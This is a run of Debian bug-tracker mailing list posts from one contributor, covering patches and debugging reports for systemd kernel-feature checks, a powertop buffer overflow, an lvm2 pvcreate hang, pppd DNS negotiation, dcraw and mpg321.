tags 763197 + patch thanks With the help of the old udev checks I came up with this which properly detects my systemd and kernel incompatibilities. It is not detecting the UEFI things though. How about applying it? -Mikko diff -rup systemd-215-orig/debian/systemd.preinst systemd-215/debian/systemd.preinst --- systemd-215-orig/debian/systemd.preinst 2014-09-27 17:50:52.0 +0200 +++ systemd-215/debian/systemd.preinst 2014-10-10 07:55:40.081232794 +0200 @@ -2,6 +2,88 @@ set -e +chrooted() { + if [ $(stat -c %d/%i /) = $(stat -Lc %d/%i /proc/1/root 2/dev/null) ]; + then +return 1 + fi + return 0 +} + +check_kernel_features() { + local abort_install=0 + + local needed_fs='devtmpfs sysfs proc autofs cgroup' + # efivarfs is needed only on UEFI systems + local missing_fs=0 + if [ -e /proc/filesystems ]; then +for fs in $needed_fs; do + if ! grep -q $fs /proc/filesystems; then +missing_fs=1 +abort_install=1 +break + fi +done + fi + + local needed_symbols='inotify_init signalfd accept4 open_by_handle_at timerfd_create epoll_create' + local missing_symbol=0 + if [ -e /proc/kallsyms ]; then +for symbol in $needed_symbols; do + if ! egrep -q ^[a-fA-F0-9]+ T \.?sys_${symbol}$ /proc/kallsyms; then +missing_symbol=1 +abort_install=1 +break + fi +done + fi + + if [ $missing_symbol -eq 1 ]; then +cat END +systemd requires support for the following features in the running kernel + + CONFIG_INOTIFY_USER + CONFIG_SIGNALFD + CONFIG_TIMERFD + CONFIG_EPOLL + CONFIG_NET + CONFIG_FHANDLE + +END + fi + + if [ $missing_fs -eq 1 ]; then +cat END +systemd requires support for the following filesystems in the running kernel: + + CONFIG_DEVTMPFS + CONFIG_CGROUPS + CONFIG_SYSFS + CONFIG_PROC_FS + CONFIG_AUTOFS4_FS + +On UEFI systems also: + + CONFIG_EFIVAR_FS + CONFIG_EFI_PARTITION + +END + fi + + if [ ! $abort_install -eq 0 ]; then +exit 1 + fi + return 0 +} + +if [ $1 = install ] || [ $1 = upgrade ]; then +if chrooted; then + echo 'Running in a chroot, skipping the kernel feature checks!' +else + check_kernel_features +fi +fi + if [ $1 = install ] || [ $1 = upgrade ] [ -n $2 ] dpkg --compare-versions $2 lt 44-3; then rm -f /lib/lsb/init-functions dpkg-divert --remove --package systemd --rename \
Bug#763197: Me too
Just another user who cought by the new systemd boot requirement. Funny thing is that UUID boot with initramfs via kernel command line works but not systemd fails, and even /dev/disk/by-uuid works. Just systemd doesn't. Since the udev kernel feature checks are already there, it would be really nice to have this check for kernels as well. It maybe too much to ask systemd to fall back to some other mode if CONFIG_FHANDLE is not there but at least packaging script would be nice. ps. I was lucky that /boot was on / partition so actually boot did not fail, just swap was missing which broke hibernation... -Mikko -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#682388: Patch works on powertop 2.0 in unstable
The fix is in upstream git tree as commit: commit 72ff7dfe7222fddf784bc866bfe7f1ec226e407d Author: Mikko Rapeli mikko.rap...@iki.fi Date: Wed Sep 26 16:12:30 2012 +0200 Fix string null termination and SIGABRT from glibc According to http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=682388 the string is not null terminated when too much data is read. This patch fixes the crashes on my system. diff --git a/src/process/process.cpp b/src/process/process.cpp index 71f81b6..34dc68d 100644 --- a/src/process/process.cpp +++ b/src/process/process.cpp @@ -86,7 +86,7 @@ static void cmdline_to_string(char *str) process::process(const char *_comm, int _pid, int _tid) : power_consumer() { - char line[4096]; + char line[4097]; ifstream file; strcpy(comm, _comm); @@ -103,6 +103,7 @@ process::process(const char *_comm, int _pid, int _tid) : power_consumer() file.open(line); while (file) { file.getline(line, 4096); + line[4096] = '\0'; if (strstr(line, Tgid)) { char *c; c = strchr(line, ':'); -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#682388: [PATCH] Fix string null termination and SIGABRT from glibc
According to http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=682388 the string is not null terminated when too much data is read. This patch fixes the crashes for me. My traces: PowerTOP 2.1 Overview Idle stats Frequency stats Device stats Tunab Package |CPU 0 POLL0.0%| POLL0.0%0.0 ms C1 0.0%| C1 0.0%0.0 ms C2 3.8%| C2 5.4%0.2 ms C3 12.4%| C3 20.9%1.7 ms |CPU 1 | POLL0.0%0.0 ms | C1 0.0%0.2 ms | C2 2.2%0.2 ms | C3 3.8%0.9 ms *** stack smashing detected ***: /usr/local/sbin/powertop terminated === Backtrace: = /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x50)[0xb7d7be70] /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xe4e1a)[0xb7d7be1a] /usr/local/sbin/powertop[0x8067a01] ESC Exit |/usr/local/sbin/powertop[0x8067ce7] /usr/local/sbin/powertop[0x806b727] /usr/local/sbin/powertop[0x8070d62] /usr/local/sbin/powertop[0x806c2e6] /usr/local/sbin/powertop[0x8089ecf] /usr/local/sbin/powertop[0x804df42] /lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0xb7cade46] /usr/local/sbin/powertop[0x804e0f1] === Memory map: 08048000-080af000 r-xp 08:02 2336756/usr/local/sbin/powertop 080af000-080b rw-p 00067000 08:02 2336756/usr/local/sbin/powertop 080b-1022a000 rw-p 00:00 0 [heap] b68c6000-b69c7000 rw-p 00:00 0 b6aaa000-b6acb000 rw-p 00:00 0 b6acb000-b6b4c000 rw-s 00:09 5025 anon_inode:[perf_event] b6b4c000-b6bcd000 rw-s 00:09 5025 anon_inode:[perf_event] b6bcd000-b6c4e000 rw-s 00:09 5025 anon_inode:[perf_event] b6c4e000-b6ccf000 rw-s 00:09 5025 anon_inode:[perf_event] b6ccf000-b6d5 rw-s 00:09 5025 anon_inode:[perf_event] b6d5-b6dd1000 rw-s 00:09 5025 anon_inode:[perf_event] b6dd1000-b6e52000 rw-s 00:09 5025 anon_inode:[perf_event] b6e52000-b6ed3000 rw-s 00:09 5025 anon_inode:[perf_event] b6ed3000-b6f54000 rw-s 00:09 5025 anon_inode:[perf_event] b6f54000-b6fd5000 rw-s 00:09 5025 anon_inode:[perf_event] b6fd5000-b7056000 rw-s 00:09 5025 anon_inode:[perf_event] b7056000-b70d7000 rw-s 00:09 5025 anon_inode:[perf_event] b70d7000-b7158000 rw-s 00:09 5025 anon_inode:[perf_event] b7158000-b71d9000 rw-s 00:09 5025 anon_inode:[perf_event] b71d9000-b725a000 rw-s 00:09 5025 anon_inode:[perf_event] b725a000-b72db000 rw-s 00:09 5025 anon_inode:[perf_event] b72db000-b735c000 rw-s 00:09 5025 anon_inode:[perf_event] b735c000-b73dd000 rw-s 00:09 5025 anon_inode:[perf_event] b73dd000-b745e000 rw-s 00:09 5025 anon_inode:[perf_event] b745e000-b74df000 rw-s 00:09 5025 anon_inode:[perf_event] b74df000-b756 rw-s 00:09 5025 anon_inode:[perf_event] b756-b75e1000 rw-s 00:09 5025 anon_inode:[perf_event] b75e1000-b7662000 rw-s 00:09 5025 anon_inode:[perf_event]
Bug#682388: Patch works on powertop 2.0 in unstable
tag 682388 +patch thanks The provided patch works also on powertop 2.0 version in unstable, and on the latest git version (2.1.1 something). -Mikko -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#597994: Patch works on squeeze
This patch https://bugzilla.gnome.org/attachment.cgi?id=138876 from bug report comment https://bugzilla.gnome.org/show_bug.cgi?id=160441#c16 works on squeeze. Now my encrypted laptop disk stats are nicely visible. Please consider applying to unstable and stable too. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#597994: Patch works on squeeze
For stable this will most certainly not happen. Ok. How about backports then? -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#597994: Ubuntu bug link
Similar bug in Ubuntu has some information too: https://bugs.launchpad.net/gnome-system-monitor/+bug/126618 -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#597994: possible fixes in upstream bugzilla
This bug has a few possible fixes in upstream bug https://bugzilla.gnome.org/show_bug.cgi?id=160441 Unfortunately patch in https://bugzilla.gnome.org/show_bug.cgi?id=160441#c21 does not directly apply to squeeze version at least. But the concept should work anyway. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#638012: linux 3.0.y patch to kernel-package
tags 638012 patch thanks This patch works for me on 2.6.39.4 and 3.0.2 kernels and latest unstable. --- kernel/ruleset/targets/common.mk-orig 2011-08-17 18:24:16.048922011 +0300 +++ kernel/ruleset/targets/common.mk2011-08-17 20:08:26.623916939 +0300 @@ -323,8 +323,13 @@ ifeq ($(DEB_HOST_ARCH_OS), linux) endif endif ifneq ($(strip $(shell grep -E ^[^\#]*CONFIG_LGUEST $(CONFIG_FILE))),) + if [ -e Documentation/lguest ]; then \ $(MAKE) $(do_parallel) $(EXTRAV_ARG) $(FLAV_ARG) ARCH=$(KERNEL_ARCH) \ - $(CROSS_ARG) -C Documentation/lguest + $(CROSS_ARG) -C Documentation/lguest; \ + elif [ -e Documentation/virtual/lguest ]; then \ + $(MAKE) $(do_parallel) $(EXTRAV_ARG) $(FLAV_ARG) ARCH=$(KERNEL_ARCH) \ + $(CROSS_ARG) -C Documentation/virtual/lguest; \ + fi endif else ifeq ($(DEB_HOST_ARCH_OS), kfreebsd) -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#561890: lenny kernel memory leak?
On Mon, Jan 24, 2011 at 01:32:17PM +1000, Ben Hutchings wrote: On Thu, 2011-01-20 at 22:17 +0200, Mikko Rapeli wrote: On Wed, May 05, 2010 at 11:47:42PM +0200, Moritz Muehlenhoff wrote: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e7087a828f8714e464fff18d93618727530dfd89;hp=5adf6d63c1697ce1835daf2b5393488a71ee0dca Did it fix the issue? Yes, this does fix the issue. I had not done kernel upgrades since Dec 2009 and the custom 2.6.26 with that patch survived a whole year. Then after applying kernel security updates the machine was running out of memory again. Another custom build of 2.6.26-26lenny1 with that patch is much better and slab is not growing like without the patch. Please apply that patch to lenny kernels in the next bug fix round. I've added the following patch. Thanks! -Mikko -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#561890: lenny kernel memory leak?
On Wed, May 05, 2010 at 11:47:42PM +0200, Moritz Muehlenhoff wrote: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e7087a828f8714e464fff18d93618727530dfd89;hp=5adf6d63c1697ce1835daf2b5393488a71ee0dca Did it fix the issue? Yes, this does fix the issue. I had not done kernel upgrades since Dec 2009 and the custom 2.6.26 with that patch survived a whole year. Then after applying kernel security updates the machine was running out of memory again. Another custom build of 2.6.26-26lenny1 with that patch is much better and slab is not growing like without the patch. Please apply that patch to lenny kernels in the next bug fix round. Thanks, -Mikko -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#599388: lcov: version 1.9 available from upstream
Package: lcov Version: 1.8-2 Severity: important A new 1.9 version of lcov is available from upstream. It fixes a number of bugs which I've hit recently in geninfo. Please consider updating the version in Debian. More details are here: http://ltp.sourceforge.net/coverage/lcov/changes.php Thanks, -Mikko -- System Information: Debian Release: squeeze/sid APT prefers unstable APT policy: (800, 'unstable'), (500, 'oldstable'), (500, 'experimental'), (500, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.32-5-686 (SMP w/1 CPU core) Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#561890: lenny kernel memory leak?
On Wed, May 05, 2010 at 11:47:42PM +0200, Moritz Muehlenhoff wrote: On Mon, Dec 21, 2009 at 01:59:33AM +, Ben Hutchings wrote: Forwarded Message From: Mikko Rapeli mikko.rap...@iki.fi To: Debian kernel team debian-ker...@lists.debian.org Subject: Re: lenny kernel memory leak? Date: Mon, 21 Dec 2009 00:53:35 +0200 On Sun, Dec 20, 2009 at 04:30:54PM +, Ben Hutchings wrote: Try c95edf5432f097c926dd3f59239ecde80da3b214 rt2x00: Properly clean up beacon skbs. With this I got kernel panics at boot when loading the modules. Maybe it depends on some other patches. http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e7087a828f8714e464fff18d93618727530dfd89;hp=5adf6d63c1697ce1835daf2b5393488a71ee0dca This is now in. Will see if it makes any difference in a few days. Did it fix the issue? Well, I think above is the only patch I have added to the kernel. Slab has been slowly increasing but no OOM so far, so I would say yes, it fixed the issue: Mon Dec 21 00:45:53 EET 2009 Slab: 4088 kB Mon Dec 21 00:46:13 EET 2009 Slab: 4120 kB Mon Dec 21 00:46:34 EET 2009 Slab: 4108 kB Mon Dec 21 00:46:54 EET 2009 Slab: 4136 kB Mon Dec 21 00:47:14 EET 2009 Slab: 4220 kB Mon Dec 21 00:47:34 EET 2009 Slab: 4200 kB ... Thu May 6 09:02:18 EEST 2010 Slab: 7376 kB Thu May 6 09:02:39 EEST 2010 Slab: 7368 kB Thu May 6 09:02:59 EEST 2010 Slab: 7268 kB Thu May 6 09:03:19 EEST 2010 Slab: 7168 kB Thu May 6 09:03:39 EEST 2010 Slab: 7168 kB Thu May 6 09:03:59 EEST 2010 Slab: 7192 kB Thu May 6 09:04:19 EEST 2010 Slab: 7152 kB $ uptime 09:05:12 up 136 days, 7:42, 4 users, load average: 0.41, 0.16, 0.05 Cheers, -Mikko -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#542702: lvm2: pvcreate hangs on normal disks
Package: lvm2 Version: 2.02.51-1 Severity: important Tags: patch pvcreate loops for ever if I try to create a pv on /dev/sda3 with newer sid kernels like 2.6.30. On kernel 2.6.26 it works. This is likely due to 2.6.26 not having a /sys/dev tree while newer kernels do, and a funky goto busyloop bug in latest lvm2. Fix is already in upstream cvs: https://www.redhat.com/archives/lvm-devel/2009-August/msg00106.html The patch applies (except for WHATS_NEW) and works for me when applied to 2.02.51-1. When pvcreate busyloops, it can only be killed with kill -9 $PID, though maybe 1 out of ten tries succeeded with funny output. Strace, ltrace and gdb on the pvcreate process show that it's busylooping over get_primary_dev function from lib/device/device.c. Verbose logs show things like: # pvcreate -d -v /dev/sda3 Wiping cache of LVM-capable devices sysfs file /sys/block/sda3�/dev does not exist Set up physical volume for /dev/sda3 with 2908246950 available sectors Zeroing start of device /dev/sda3 Physical volume /dev/sda3 successfully created # pvcreate -d -v /dev/sda3 Wiping cache of LVM-capable devices Killed # pvcreate -ddd -vvv /dev/sda3 Processing: pvcreate -ddd -vvv /dev/sda3 O_DIRECT will be used Setting global/locking_type to 1 Setting global/wait_for_locks to 1 File-based locking selected. Setting global/locking_dir to /var/lock/lvm metadata/pvmetadatasize not found in config: defaulting to 255 metadata/pvmetadatacopies not found in config: defaulting to 1 Locking /var/lock/lvm/P_orphans WB Opened /dev/sda3 RW O_DIRECT /dev/sda3: block size is 1024 bytes /dev/sda3: lvm2 label detected lvmcache: /dev/sda3: now in VG #orphans_lvm2 (#orphans_lvm2) Closed /dev/sda3 Using cached label for /dev/sda3 Wiping cache of LVM-capable devices /dev/adsp: Not a block device /dev/audio: Not a block device /dev/block/1:0: Already in device cache /dev/block/1:1: Already in device cache /dev/block/1:10: Already in device cache /dev/block/1:11: Already in device cache /dev/block/1:12: Already in device cache /dev/block/1:13: Already in device cache /dev/block/1:14: Already in device cache /dev/block/1:15: Already in device cache /dev/block/1:2: Already in device cache /dev/block/1:3: Already in device cache /dev/block/1:4: Already in device cache /dev/block/1:5: Already in device cache /dev/block/1:6: Already in device cache /dev/block/1:7: Already in device cache /dev/block/1:8: Already in device cache /dev/block/1:9: Already in device cache /dev/block/2:0: Added to device cache /dev/block/22:64: Added to device cache /dev/block/254:0: Already in device cache /dev/block/254:1: Already in device cache /dev/block/254:2: Already in device cache /dev/block/254:3: Already in device cache /dev/block/254:4: Already in device cache /dev/block/254:5: Already in device cache /dev/block/3:0: Added to device cache /dev/block/3:1: Already in device cache /dev/block/3:2: Already in device cache /dev/block/3:3: Already in device cache /dev/block/3:64: Added to device cache /dev/block/3:65: Already in device cache /dev/block/7:0: Added to device cache /dev/block/7:1: Added to device cache /dev/block/7:2: Added to device cache /dev/block/7:3: Added to device cache /dev/block/7:4: Added to device cache /dev/block/7:5: Added to device cache /dev/block/7:6: Added to device cache /dev/block/7:7: Added to device cache /dev/block/8:0: Added to device cache /dev/block/8:1: Already in device cache /dev/block/8:2: Already in device cache /dev/block/8:3: Already in device cache /dev/bsg/1:0:0:0: Not a block device /dev/bus/usb/001/001: Not a block device /dev/bus/usb/002/001: Not a block device /dev/bus/usb/003/001: Not a block device /dev/bus/usb/003/002: Not a block device /dev/bus/usb/004/001: Not a block device /dev/cdrom: Aliased to /dev/block/22:64 in device cache (preferred name) /dev/cdrw: Aliased to /dev/cdrom in device cache /dev/char/10:1: Not a block device /dev/char/10:228: Not a block device /dev/char/10:229: Not a block device /dev/char/10:231: Not a block device /dev/char/10:60: Not a block device /dev/char/10:61: Not a block device /dev/char/10:62: Not a block device /dev/char/10:63: Not a block device /dev/char/1:1: Not a block device /dev/char/1:11: Not a block device /dev/char/116:0: Not a block device /dev/char/116:1: Not a block device /dev/char/116:16: Not a block device
Bug#445711: pppd patch for testing
I verified the patch[1] also with Debian Lenny ppp version 2.4.4rel-10.1 and the Huawei E220. Here are logs of failure without the patch and success with the patch applied. udev fired up 'pppd call gprs' when /dev/ttyUSB came available. http://koti.kapsi.fi/~mcfrisk/gprs_debug/qualcomm_ppp/ppp_log_failure_without_ppp_fix.txt http://koti.kapsi.fi/~mcfrisk/gprs_debug/qualcomm_ppp/ppp_log_success_with_ppp_fix.txt -Mikko [1] http://www.archivum.info/linux-ker...@vger.kernel.org/2008-07/msg00238.html -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#445711: pppd patch for testing
Although this problem is not strictly a PPP one, a patch to pppd might help. It was mentioned in comp.os.linux.networking discussion (quoted below) and did the trick for a Huawei E220 USB and an Option PC card. If I got it right, with the patch pppd asks DNS settings until all IPCP setings are done, and accepts the peers latest response, which helps when the peer changes its mind due to information received from the mobile network. I tested this on Etch version of ppp, which missing a few other GPRS and DNS related fixes, mentioned in the Ubuntu bug report https://bugs.launchpad.net/ubuntu/+source/ppp/+bug/258801 -Mikko In comp.os.linux.networking I wrote: On 2009-01-20, Clifford Kite k...@not.available.tld wrote: A Google search for GPRS PPP DNS 10.11.12.13 yielded this: http://www.archivum.info/linux-ker...@vger.kernel.org/2008-07/msg00238.html The pppd patch seems to be a try and try again until you get real DNS server IPs approach. Checkout this later post in the thread by the same poster to see why: http://www.archivum.info/linux-ker...@vger.kernel.org/2008-07/msg09189.html Patching pppd seems a bit extreme to me. Once the DNS servers are known I would personally prefer to manually put them in /ect/resolv.conf and seek out and remove the usepeerdns pppd option. That option would likely in the script /etc/ppp/peers/gprs (as in 'pppd call gprs') or something called by it. I tried the patch and it works with a Huawei USB and an Option PC card modems. I can remove all sleeps and pppd call gprs with success straight from udev scripts when the modems are connected. If I got it right, the patch forces pppd to use the latest received DNS configuration from the peer instead of the first one. That would be the correct thing to do with these modems, but I'm not sure what else this might break. A quick look at the PPP rfc does not say this would be wrong. For comparison I took AT command and PPP logs from a Vista machine which uses the Vodafone connection manager: http://koti.kapsi.fi/~mcfrisk/gprs_debug/qualcomm_ppp/vista_ModemLog_HUAWEI%20Mobile%20Connect%20-%203G%20Modem.txt http://koti.kapsi.fi/~mcfrisk/gprs_debug/qualcomm_ppp/vista_ppp.log Here are successfull connection setups with and without the patch: http://koti.kapsi.fi/~mcfrisk/gprs_debug/qualcomm_ppp/ppp_log_huawei_fixed_pppd.txt http://koti.kapsi.fi/~mcfrisk/gprs_debug/qualcomm_ppp/ppp_log_success_without_ppp_fix.txt I will host failing cases too when I manage to copy some older log files from the host in question. -Mikko -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#403183: similar issue with SMC ethernet card seems to be fixed in 2.6.21.1
On Wed, Dec 17, 2008 at 08:51:39PM +0100, Moritz Muehlenhoff wrote: Does this error still occur with more recent kernel versions? Unfortunately I don't have access to the problematic PCMCIA ethernet adapter from SMC any more. A few other CardBus ethernet adapters on this old Lifebook have no problems with latest etch or etchnhalf kernels. -Mikko -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#506705: dcraw 8.86 doesn't support rw2 format from Panasonic FZ28
Package: dcraw Version: 8.86-1 Severity: normal dcraw 8.86 doesn't like the rw2 format raw images from a Panasonic FZ28. It doesn't crash but complains about 'p1000285.raw: Unexpected end of file' and the images produced look like garbage, though metadata and thumbnails can be extracted. Upgrading to dcraw 8.88 fixes the problem and images look good. Here are some details where file name was first converted from rw2 to raw, since a lot of tools expect the raw extension. $ dcraw -i -v p1000285.raw Filename: p1000285.raw Timestamp: Sun Nov 23 11:48:23 2008 Camera: Panasonic DMC-FZ28 ISO speed: 800 Shutter: 1/40.0 sec Aperture: f/3.7 Focal length: 41.2 mm Embedded ICC profile: no Number of raw images: 1 Thumb size: 1920 x 1280 Full size: 3724 x 2450 Image size: 3724 x 2450 Output size: 3724 x 2450 Raw colors: 3 Filter pattern: RGGBRGGBRGGBRGGB Daylight multipliers: 1.00 1.00 1.00 Camera multipliers: 465.00 263.00 438.00 0.00 $ dcraw -a -v p1000285.raw Loading Panasonic DMC-FZ28 image from p1000285.raw ... p1000285.raw: Unexpected end of file Scaling with darkness 0, saturation 65520, and multipliers 1.070865 1.000427 1.00 1.069545 AHD interpolation... Building histograms... Writing data to p1000285.ppm ... -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (990, 'unstable'), (500, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.26-1-686 (SMP w/1 CPU core) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages dcraw depends on: ii libc62.7-16 GNU C Library: Shared libraries ii libjpeg626b-14 The Independent JPEG Group's JPEG ii liblcms1 1.17.dfsg-1 Color management library dcraw recommends no packages. Versions of packages dcraw suggests: pn gphoto2 none (no description available) ii netpbm2:10.0-12 Graphics conversion tools -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#363815: closed by Michael Casadevall [EMAIL PROTECTED] (Not needed.)
On Mon, Oct 20, 2008 at 12:27:05PM +, Debian Bug Tracking System wrote: From: Michael Casadevall [EMAIL PROTECTED] To: [EMAIL PROTECTED] Date: Mon, 20 Oct 2008 08:24:04 -0400 Subject: Not needed. Since we have to repack each thunderbird tarball now, this rule is unfortunately unneeded. Umm, what exactly does this repacking mean? -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#500102: mpg321 scans whole file before playback
Package: mpg321 Version: 0.2.10.4 Severity: normal Tags: patch Tags: etch mpg321 appears to have dead upstream and orphaned in Debian, but I'm filing this anyway if someone likes to pick it up. Background: I'm streaming mp3's over sshfs and using cplay to play them. cplay is a nice python script and uses mpg321 and other players to actually decode. Without thinking too much I installed mpg321 for mp3 playback even when mpg123 is now free and available. This bug appears in both etch and sid, though I have a faint recollection of seeing this in sarge and woody too. Problem: Playing most ogg's and mp3's works like a charm, but some files seem to start playing only after they have been downloaded completely. So much for the streaming experience. Debugging: Here is strace output with a problematic mp3 file, note the jump in time stamps: 180348.402663 fstat64(4, {st_mode=S_IFREG|0644, st_size=5433202, ...}) = 0 0.13 180348.402771 lseek(4, -128, SEEK_END) = 5433074 0.13 180348.402836 read(4, TAG..., 3) = 3 0.18 180348.402912 mmap2(NULL, 5433074, PROT_READ, MAP_SHARED, 4, 0) = 0xb745a000 0.21 180352.341758 munmap(0xb745a000, 5433074) = 0 0.000394 ^ what did mpg321 do these four seconds, it for sure didn't play any music 180352.342253 close(4) = 0 0.78 180352.342402 brk(0x957a000)= 0x957a000 0.19 180352.342483 mmap2(NULL, 5433074, PROT_READ, MAP_SHARED, 3, 0) = 0xb745a000 0.23 180352.342561 close(3) = 0 0.82 For reference, here is the same strace output with an mp3 file which works in 'streaming mode': 180330.498432 fstat64(4, {st_mode=S_IFREG|0644, st_size=4053943, ...}) = 0 0.13 180330.498541 lseek(4, -128, SEEK_END) = 4053815 0.12 180330.498603 read(4, \377\377\377..., 3) = 3 0.15 180330.498679 mmap2(NULL, 4053943, PROT_READ, MAP_SHARED, 4, 0) = 0xb7514000 0.19 180330.498806 munmap(0xb7514000, 4053943) = 0 0.32 180330.498887 close(4) = 0 0.000139 Since it finds a TAG, mpg321 does a full file scan for mp3 length information before starting playback of this file. Source file mad.c, function scan comments this with: /* There are three ways of calculating the length of an mp3: 1) Constant bitrate: One frame can provide the information needed: # of frames and duration. Just see how long it is and do the division. 2) Variable bitrate: Xing tag. It provides the number of frames. Each frame has the same number of samples, so just use that. 3) All: Count up the frames and duration of each frames by decoding each one. We do this if we've no other choice, i.e. if it's a VBR file with no Xing tag. */ Ok, it appears to have no choice, but totem and mpg123 don't do this. Fix: One solution is to just stop doing this file scan after some magic value. I'm riding with the --quiet or -q option, since cplay calls mpg321 with it, and it seems like the best choice of the existing command line options. Adding an option like --nolenscan is possible, but that would require changes in the scripts using mpg321, like cplay. So I came up with this. --- mpg321-0.2.10.4/mad.c 2002-03-24 07:49:31.0 +0200 +++ mpg321-0.2.10.4-mcf/mad.c 2008-09-25 00:02:48.0 +0300 @@ -444,6 +444,14 @@ { break; } + + /* In quiet mode, don't scan the whole file for length since + it takes so long on slow file systems like sshfs. cplay + calls mpg321 for playback in quiet mode. */ +if ((options.opt MPG321_QUIET_PLAY) (buf-num_frames 20)) +{ +break; +} mad_timer_add(buf-duration, header.duration); } It appears to have no negative effect on playback. Songs play as the did before, just not without the long delay in the beginning. Workaround: cplay likes mpg123 more than mpg321, so just install mpg123 which doesn't suffer from this bug. Perhaps mpg321, if unmaintained and dead upstream, should be dropped from Debian. And mpg123 could perhaps provide mpg321. How funny is that, considering why mpg321 was once created? -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (990, 'unstable'), (500, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.26-1-686 (SMP w/1 CPU core) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages mpg321 depends on: ii libao2 0.8.8-4 Cross Platform Audio Output Librar ii libc6 2.7-13GNU C Library: Shared libraries ii libid3tag0 0.15.1b-10ID3 tag reading library from the M ii libmad00.15.1b-3 MPEG audio decoder library ii zlib1g 1:1.2.3.3.dfsg-12 compression library - runtime mpg321
Bug#401035: another workaround: use lvm
Hello, I had to reinstall etch on a host with ST340823A and noticed that the drive works with a problematic kernel like 2.6.18.dfsg.1-18etch4 if it's used only with lvm. So /boot is on another drive and root and other filesystems are on lvm using also ST340823A in the volume group: # fdisk -l /dev/hdc Disk /dev/hdc: 40.0 GB, 40020664832 bytes 255 heads, 63 sectors/track, 4865 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/hdc1 11224 9831748+ 8e Linux LVM /dev/hdc21225322516073032+ 8e Linux LVM /dev/hdc33226486513173300 8e Linux LVM Kernel complains alot during boot but the lvm filesystems can be used and fsck'd even with badblocks checks. Also the Debian installer was able to create a new logical volume while the installer kernel complained a lot about the drive. -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464197: enable cs46xx for etchnahalf?
On Thu, Apr 10, 2008 at 01:57:24AM -0600, dann frazier wrote: On Wed, Apr 09, 2008 at 01:04:39PM +0300, Mikko Rapeli wrote: Hello, Wiki page told to post here, though perhaps you follow debian-kernel bugs too. Anyway, added support for newer hardware would be great if previously working drivers would keep working :) What are the odds of applying the firmware separating patch from #464197 and creating a new firmware package? For etchnahalf? Unfortunately in this case it is simply does not appear legal for Debian to redistribute this firmware. I've sent a request to Cirrus Logic for a license granting free redistribution. I doubt I'm the first, but its worth a try.. Ok. Thanks this and for updating the http://wiki.debian.org/KernelFirmwareLicensing wiki page on the status :) That aside, I wonder if there's any good reasons to not take the split out patch, allowing these cards to function if the user chooses to manually install this firmware image. I tested the kernel patch and made an initial attempt at packaging the firmware blob: - URL: http://mentors.debian.net/debian/pool/non-free/c/cs46xx-firmware - Source repository: deb-src http://mentors.debian.net/debian unstable main contrib non-free - dget http://mentors.debian.net/debian/pool/non-free/c/cs46xx-firmware/cs46xx-firmware_0.1-1.dsc The patch and firmware package were tested on my 